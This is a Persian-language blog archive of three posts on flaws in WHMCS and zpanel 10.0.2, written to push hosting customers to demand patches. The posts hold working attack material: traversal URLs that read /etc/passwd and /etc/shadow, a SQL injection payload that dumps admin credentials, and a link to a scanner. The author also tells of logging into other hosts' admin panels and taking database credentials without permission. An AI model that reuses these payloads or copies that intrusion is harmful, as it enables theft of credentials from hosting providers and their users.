میزبان خود را چک کنید – ضعف امنیتی WHMCS

کمتر از ۲۰ روز پیش در این پست در مورد ضعف امنیتی WHMCS نوشتم. این نرم افزار که به عنوان سیستم پشتیبانی و مدیریت کلاینت ها در بسیاری از سرویس دهنده های میزبانی سایت استفاده می شه در نسخه جدید خود همچنان دارای نواقصی است.

PHP از نسخه ۵.۴.۰ استفاده از register_globals رو حذف کرد به این دلیل که تعریف متغیرها در سطح گلوبال باعث می شد متغیرها به وسیله کاربر تغییر کنند و این مورد ضمن اینکه یک سری کاربردهایی می تونست داشته باشه، به شدت می تونست خطرناک هم باشه.

خب حالا بیایم یه نگاهی به فایل dbfunctions.php این نرم افزار بندازیم، جایی که دستورهای ارسالی به دیتابیس رو هندل می کنه:

<?php
function select_query($table, $fields, $where, $orderby = '', $orderbyorder = '', $limit = '', $innerjoin = '') {
    global $CONFIG;
    global $query_count;
    global $mysql_errors;
    global $whmcsmysql;
    if (!$fields) {
    $fields = '*';
    }
    $query = 'SELECT ' . $fields . ' FROM ' . db_make_safe_field($table);
    if ($innerjoin) {
    $query .= ' INNER JOIN ' . db_escape_string($innerjoin);
    }
    if ($where) {
    if (is_array($where)) {
        $criteria = array();
        foreach ($where as $origkey => $value) {
        $key = db_make_safe_field($origkey);
        if (is_array($value)) {
            if ($key == 'default') {
            $key = '`default`';
            }
            if ($value['sqltype'] == 'LIKE') {
            $criteria[] = $key . ' LIKE \'%' . db_escape_string($value['value']) . '%\'';
            continue;
            }
            if ($value['sqltype'] == 'NEQ') {
            $criteria[] = $key . '!=\'' . db_escape_string($value['value']) . '\'';
            continue;
            }
            if ($value['sqltype'] == '>') {
            $criteria[] = $key . '>' . db_escape_string($value['value']);
            continue;
            }
            if ($value['sqltype'] == '<') {
            $criteria[] = $key . '<' . db_escape_string($value['value']);
            continue;
            }
            if ($value['sqltype'] == '<=') {
            $criteria[] = $origkey . '<=' . db_escape_string($value['value']);
            continue;
            }
            if ($value['sqltype'] == '>=') {
            $criteria[] = $origkey . '>=' . db_escape_string($value['value']);
            continue;
            }
            if ($value['sqltype'] == 'TABLEJOIN') {
            $criteria[] = $key . '=' . db_escape_string($value['value']);
            continue;
            }
            if ($value['sqltype'] == 'IN') {
            $criteria[] = $key . ' IN (\'' . implode('\',\'', db_escape_array($value['values'])) . '\')';
            continue;
            }
            continue;
        }
[...]
?>

<?php

function select_query($table, $fields, $where, $orderby = '', $orderbyorder = '', $limit = '', $innerjoin = '') {

global $CONFIG;

global $query_count;

global $mysql_errors;

global $whmcsmysql;

if (!$fields) {

$fields = '*';

}

$query = 'SELECT ' . $fields . ' FROM ' . db_make_safe_field($table);

if ($innerjoin) {

$query .= ' INNER JOIN ' . db_escape_string($innerjoin);

}

if ($where) {

if (is_array($where)) {

$criteria = array();

foreach ($where as $origkey => $value) {

$key = db_make_safe_field($origkey);

if (is_array($value)) {

if ($key == 'default') {

$key = '`default`';

}

if ($value['sqltype'] == 'LIKE') {

$criteria[] = $key . ' LIKE \'%' . db_escape_string($value['value']) . '%\'';

continue;

}

if ($value['sqltype'] == 'NEQ') {

$criteria[] = $key . '!=\'' . db_escape_string($value['value']) . '\'';

continue;

}

if ($value['sqltype'] == '>') {

$criteria[] = $key . '>' . db_escape_string($value['value']);

continue;

}

if ($value['sqltype'] == '<') {

$criteria[] = $key . '<' . db_escape_string($value['value']);

continue;

}

if ($value['sqltype'] == '<=') {

$criteria[] = $origkey . '<=' . db_escape_string($value['value']);

continue;

}

if ($value['sqltype'] == '>=') {

$criteria[] = $origkey . '>=' . db_escape_string($value['value']);

continue;

}

if ($value['sqltype'] == 'TABLEJOIN') {

$criteria[] = $key . '=' . db_escape_string($value['value']);

continue;

}

if ($value['sqltype'] == 'IN') {

$criteria[] = $key . ' IN (\'' . implode('\',\'', db_escape_array($value['values'])) . '\')';

continue;

}

continue;

}

[...]

می بینید که نویسندگان برنامه از متغیرهای گلوبال استفاده کردند. حالا این کجا می تونه آسیب بزنه؟ برای مثال زمانی که کاربرها می خوان ticket ها رو ببینند. اونجا می شه با تذریق کدهای SQL در قالب یک متغیر GET و یا POST اطلاعات دیتابیس رو به دست آورد.

من هم اون مشکل قبلی رو در برخی هاستینگ های ایرانی چک کردم و هم این مشکل رو که متاسفانه نتایج اصلا خوب نبود. از ۱۰ تا هاستینگی که چک کردم ۸ تاشون تا ۲ روز پیش مشکل داشتند و ۲ تاشون رو هم تونستم با نام کاربری و پسورد ادمین به پنل مدیریت وارد بشم.

متاسفانه برخی سرویس دهنده ایرانی کوچکترین توجهی به مسایل امنیتی نکرده و حتی ساده ترین کار که نصب به موقع بسته های به روز رسانی است رو هم انجام نمی دن.

برای اینکه کاربرها بتونن وضعیت میزبانشون رو بررسی کنند و بتونند از میزبان بخوان که کارهای لازم رو انجام بده یک اسکریپت رو آماده کردم که به صورت اتوماتیک این ضعف رو چک می کنه و در صورت نفوذ، نام کاربری ادمین و ایمیلش رو بهتون می ده. البته نسخه اصلی این اسکریپت برای چک کردن گوگل و نفوذ به وصورت رندوم به هاستینگ ها بود و پسوردها رو هم به صورت هش شده در اختیار میذاشت ولی من برای جلوگیری از سو استفاده های احتمالی تغییراتی دادم توش. یکیش اینکه یک آدرس می گیره و بر اساس جستجوی گوگل نیست. دوم اینکه در خروجی، پسوردهای هش شده رو نشون نمی ده.

با استفاده از نتیجه ای که به شما نشون داده خواهد شد می تونید به صورت مستند از هاستینگتون بخواید که به روزرسانی رو انجام بده.

تاکید مجدد: لطفا از این ابزار برای آسیب رسوندن به دیگران استفاده نکنید.

لینک دسترسی به اسکریپت:

http://pentest.ugig.ir/WHMCS/scanner.php

1	http://pentest.ugig.ir/WHMCS/scanner.php

منبع و منبع

امنیت

ضعف امنیتی zpanel 10.0.2

چند روز پیش داشتم سایتی رو چک می کردم برای مشکلات امنیتیش. زیر دامنه ها رو چک کردم که یکیش صفحه ورود کنترل پنل میزبانی رو می آورد.

بارها و بارها به دوستان و کلاینت ها گفتم که قدم اول هکرها جمع آوری اطلاعاته و سعی کنند که کمترین میزان اطلاعات در اختیار یک هکر قرار بگیره. در این مورد خیلی واضح نرم افزار و نسخه کنترل پنل نوشته شده بود: zpanel 10.0.2

یه جستجوی کوچیک من رو رسوند به نتیجه بررسی های قبلی روی این نسخه و یک ضعف امنیتی خطرناک که عمومی هم شده. بذارید با هم مرور بکنیم مشکل رو تا ببینیم که چه اشتباهات بچگانه و خطرناکی ممکنه توی برنامه نویسی رخ بده.

zpanel یک ماژول داره برای بک آپ گرفتن که این ماژول یه فایل داره برای دانلود فایل های روی سرور. احتمالا برای اینکه ادمین بتونه فایل های بک آپ رو دانلود کنه.

http://www.target-server.com/modules/backupmgr/code/getdownload.php

1	http://www.target-server.com/modules/backupmgr/code/getdownload.php

بذارید یه نگاه به متن فایل getdownload.php بندازیم:

<?php

if (isset($_GET['file']) && $_GET['file'] != "" && file_exists($_GET['file']) && !strpos($_GET['file'], '/')) {
    $filename = $_GET['file'];

    // required for IE, otherwise Content-disposition is ignored
    if (ini_get('zlib.output_compression')) {
        ini_set('zlib.output_compression', 'Off');
    }

    header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: private", false); // required for certain browsers
    header("Content-Type: application/zip");
    header("Content-Disposition: attachment; filename=" . basename($filename) . "");
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: " . filesize($filename) . "");
    readfile_chunked($filename);
    //unlink($filename);
    exit();
}

function readfile_chunked($filename) {
    $chunksize = 1 * (1024 * 1024);
    $buffer = '';
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        print $buffer;
    }
    return fclose($handle);
}

?>

<?php

if (isset($_GET['file']) && $_GET['file'] != "" && file_exists($_GET['file']) && !strpos($_GET['file'], '/')) {

$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored

if (ini_get('zlib.output_compression')) {

ini_set('zlib.output_compression', 'Off');

}

header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');

header("Pragma: public");

header("Expires: 0");

header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Cache-Control: private", false); // required for certain browsers

header("Content-Type: application/zip");

header("Content-Disposition: attachment; filename=" . basename($filename) . "");

header("Content-Transfer-Encoding: binary");

header("Content-Length: " . filesize($filename) . "");

readfile_chunked($filename);

//unlink($filename);

exit();

}

function readfile_chunked($filename) {

$chunksize = 1 * (1024 * 1024);

$buffer = '';

$handle = fopen($filename, 'rb');

if ($handle === false) {

return false;

}

while (!feof($handle)) {

$buffer = fread($handle, $chunksize);

print $buffer;

}

return fclose($handle);

}

کامنت ها رو از متن حذف کردم که زیاد شلوغ نباشه. در متن می بینید که با یه دستور شرطی چک می کنه که اگر با متغیر file آدرس فایل وارد شده و اون فایل وجود داره، دستور می ده به یه فانکشن که فایل رو در اختیار کاربر بذاره.

به قول اون ور آبیا WTF

الان کافیه شناختی از ساختار فایل ها و فولدرهای سرور داشته باشیم و یا یکی از سایت های روی سرور مشکلی داشته باشه که مسیر اصلی فایل ها رو نشون بده تا بتونیم هر فایلی رو که می خوایم دانلود کنیم.

بذارید بریم سر اصل قضیه: یوزر و پسورد سرور. در سرورهای لینوکسی، نام کاربری و پسورد ها رو می شه در فایل های passwd و shadow پیدا کرد. البته به صورت هش شده. (وارد جزییات تنظیمات سرور نمی شم چون یه بحث مجزاست)

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/passwd

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/shadow

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/passwd

http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/shadow

همچنین از این آدرس می تونید یه اسکریپت به زبان پایتون بگیرید که به صورت اتوماتیک بک آپ های سرور رو براتون دانلود کنه. دیگه چی می خوایم واقعا؟

مشکل دیگه ای که این نسخه داره، دسترسی آزاد به فایل daemon.php است که باعث می شه هکرها به اطلاعات حساسی مثل نام های کاربری، دسترسی هاشون و سایت هایی که روی سرور قرار دارند دست پیدا کنه.

http://www.taregt-server.com/bin/daemon.php

1	http://www.taregt-server.com/bin/daemon.php

یه نمونه از خروجی اجرای این فایل رو می تونید اینجا ببینید:

Daemon is now running...
START Apache Config Hook.
Apache Admin module ENABLED...
Apache Config has NOT changed...nothing to do.
END Apache Config Hook.

START DNS Manager Hook
DNS Manager module ENABLED...
DNS Records have not changed...nothing to do.
END DNS Manager Hook.

START MySQL Databases hook
Calculating the total size of all MySQL databases....
END MySQL Databases hook

START Calculating disk Usage for all client accounts..
Disk usage for user "zadmin" is: 32207149120 (31.5 GB)
Disk usage for user "web-admin" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
Disk usage for user "****" is: 0 (0 bytes)
END Calculating disk usage

START Calculating bandwidth usage for all client accounts..
Processing domain "****"
Generating bandwidth.. 
usage: 4869238 (4.8 MB)
[...]
END Calculating bandwidth usage

BEGIN Webalizer Stats
Generating webalizer stats html...
Generating stats for: zadmin/****
Webalizer V2.21-02 (Linux 2.6.32-358.18.1.el6.x86_64 x86_64) English
Using logfile /var/zpanel/logs/domains/zadmin/****-access.log (clf)
Creating output in /etc/zpanel/panel/modules/webalizer_stats/stats/zadmin/****
Hostname for reports is '****'
Reading history file... webalizer.hist
Generating report for August 2013
Generating report for September 2013
Generating report for October 2013
Saving history information...
Generating summary report
5638368 records (1751 bad) in 16 seconds, 352398/sec
[...]
END Webalizer Stats

Daemon run complete!

Daemon is now running...

START Apache Config Hook.

Apache Admin module ENABLED...

Apache Config has NOT changed...nothing to do.

END Apache Config Hook.

START DNS Manager Hook

DNS Manager module ENABLED...

DNS Records have not changed...nothing to do.

END DNS Manager Hook.

START MySQL Databases hook

Calculating the total size of all MySQL databases....

END MySQL Databases hook

START Calculating disk Usage for all client accounts..

Disk usage for user "zadmin" is: 32207149120 (31.5 GB)

Disk usage for user "web-admin" is: 0 (0 bytes)

Disk usage for user "****" is: 0 (0 bytes)

END Calculating disk usage

START Calculating bandwidth usage for all client accounts..

Processing domain "****"

Generating bandwidth..

usage: 4869238 (4.8 MB)

[...]

END Calculating bandwidth usage

BEGIN Webalizer Stats

Generating webalizer stats html...

Generating stats for: zadmin/****

Webalizer V2.21-02 (Linux 2.6.32-358.18.1.el6.x86_64 x86_64) English

Using logfile /var/zpanel/logs/domains/zadmin/****-access.log (clf)

Creating output in /etc/zpanel/panel/modules/webalizer_stats/stats/zadmin/****

Hostname for reports is '****'

Reading history file... webalizer.hist

Generating report for August 2013

Generating report for September 2013

Generating report for October 2013

Saving history information...

Generating summary report

5638368 records (1751 bad) in 16 seconds, 352398/sec

[...]

END Webalizer Stats

Daemon run complete!

در اطلاعات بالا به جای دامنه ها ستاره گذاشتم که مشکلی برای سایت پیش نیاد.

از اینجا به بعد دیگه برمی گرده به توانایی و خلاقیت هکر که می خواد چطور جلو بره و تا کجا پیش بره. مثلا در همین مورد خاص روی این سرور یک سایت وردپرسی وجود داشت که با دونستن مسیر قرار گیری فایل wp-config.php، اون رو دانلود کردم و نام کاربری و پسورد MySQL رو به دست آوردم که می تونم باهاش به دیتابیس سرور کانکت بشم (در صورتیکه ورود رو به localhost محدود نکرده باشن) و مشخصات کاربرهای اون سایت رو به دست بیارم.

می بینید که یه اشتباه در بررسی نکردن ورودی ها و یا عدم تنظیم درست Permission ها برای اجرای یک فایل می تونه چه تبعاتی داشته باشه.

خب همین الان برید نسخه کنترل پنل هاست رو چک کنید و اگه ضعف شناخته شده داشت یا به روز نبود از سرویس دهنده بخواید که کاریکه وظیفه اش است رو انجام بده.

پ ن: این پست فقط در جهت نشان دادن ضعف های Zpanel 10.0.2 است و ترغیب برای برطرف کردن مشکلات. لطفا از این مورد برای آسیب رساندن به دیگران استفاده نکنید.

امنیت

هک شدن سرویس دهنده های میزبانی

دیروز ایمیلی به کاربرهای یک سرویس دهنده وی بی ان رسید با این مضمون که ما به دلایلی مجبوریم کلیه اطلاعات کاربری شما رو در اختیار مقامات امنیتی آمریکا قرار بدیم. سرویس دهنده بلافاصله واکنش نشون داد و گفت که ایمیل تقلبی بوده. ولی چطور یه نفر ایمیل همه کاربرها رو داشته؟

مقصر خود سرویس دهنده است و مشکل امنیتی البته در نرم افزار WHMCS که مورد استفاده سرویس دهنده های میزبانی اینترنت و وی پی اسه برای کنترل کاربرها و سیستم فروش و پشتیبانی و غیره.

هفته گذشته یک مشکل امنیتی در این نرم افزار عمومی شد. مشکل در بخشی از اسکریپت ثبت داده ها بوده که ورودی رو بررسی نمی کرده برای کاراکترهای خاص و دستورات اس کیو ال. بذارید یه نگاهی بهش بندازیم

<?php
function update_query($table, $array, $where) {
    #[...]
    if (substr($value, 0, 11) == 'AES_ENCRYPT') {
        $query .= $value.',';
        continue;
    }
    #[...]
    $result = mysql_query($query, $whmcsmysql);
 }
?>

<?php

function update_query($table, $array, $where) {

#[...]

if (substr($value, 0, 11) == 'AES_ENCRYPT') {

$query .= $value.',';

continue;

}

#[...]

$result = mysql_query($query, $whmcsmysql);

}

می بینید که توی این دستور شرطی چک می کنه که آیا ۱۱ کارکاکتر اول ورودی AES_ENCRYPT است یا نه. کافیه اطلاعات ورودی با این String شروع بشه و بقیه اش یه کد باشه برای تزریق، اینجوری اون کد بدون هیچ محدودیتی در دیتابیس اجرا می شه.

بلافاصله بعد از اعلام این نقص، آپدیت برای این نرم افزار اومد که خب فاصله ارائه پچ و آپدیت تا زمان نصبش در همه استفاده کننده ها، به هکرها فرصت می ده که به کارشون برسن.

برای هک کردن ستفاده کننده ها از این نرم افزار کافیه که کاربر سایت باشید و از طریق هر صفحه ای که تغییری در دیتابیس می ده، کد خودتون رو اجرا کنید. طی بررسی هایی که انجام شده یکی از روش های انجام این هک استفاده از فرم ثبت نامه. می دونیم که با فرم ثبت نام ما یه سری ورودی رو به سمت دیتابیس می فرستیم.

یک گروه امنیتی با ایجاد یک هانی پات* تونسته یکی از روش های مورد استفاده هکرها رو به دست بیاره. بذارید کدها رو ببینیم

First Name: 'USERX' to 'AES_ENCRYPT(1,1), firstname= (SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)'
Last Name: 'LASTNAME' to '1'
Company Name: 'COMPANYNAME' to '1'
Address 1: 'USA' to '1'

First Name: 'USERX' to 'AES_ENCRYPT(1,1), firstname= (SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)'

Last Name: 'LASTNAME' to '1'

Company Name: 'COMPANYNAME' to '1'

Address 1: 'USA' to '1'

در خط اول می بینیم که هکر به جای firstname یک کد رو به دیتابیس تزریق کرده که بتونه باهاش نام کاربری، ایمیل و پسورد هش شده موجود در جدول tbladmins رو به دست بیاره. همونجور که از اسمش می تونید حدس بزنید، این جدول حاوی اطلاعات کاربری ادمین هاست.

چه باید کارد:

اگر سرویس دهنده اید سریعا WHMCS رو آپدیت کنید و اگر کاربرید از سرویس دهنده بخواید که این کار رو بکنه چون اطلاعاتتون در خطره.

همچنین Cloudflare که محصولاتی برای بالا بردن امنیت سرورها داره در Web Application Firewall (WAF) تمهیداتی در نظر گرفته برای جلوگیری از این حمله حتی اگر WHMCS به روز نشده باشه که می تونید از سایت خودشون اطلاعات کامل رو بخونید.

منبع و منبع و منبع و منبع

Scriptics

Tag Archives: هاست

میزبان خود را چک کنید – ضعف امنیتی WHMCS

ضعف امنیتی zpanel 10.0.2

هک شدن سرویس دهنده های میزبانی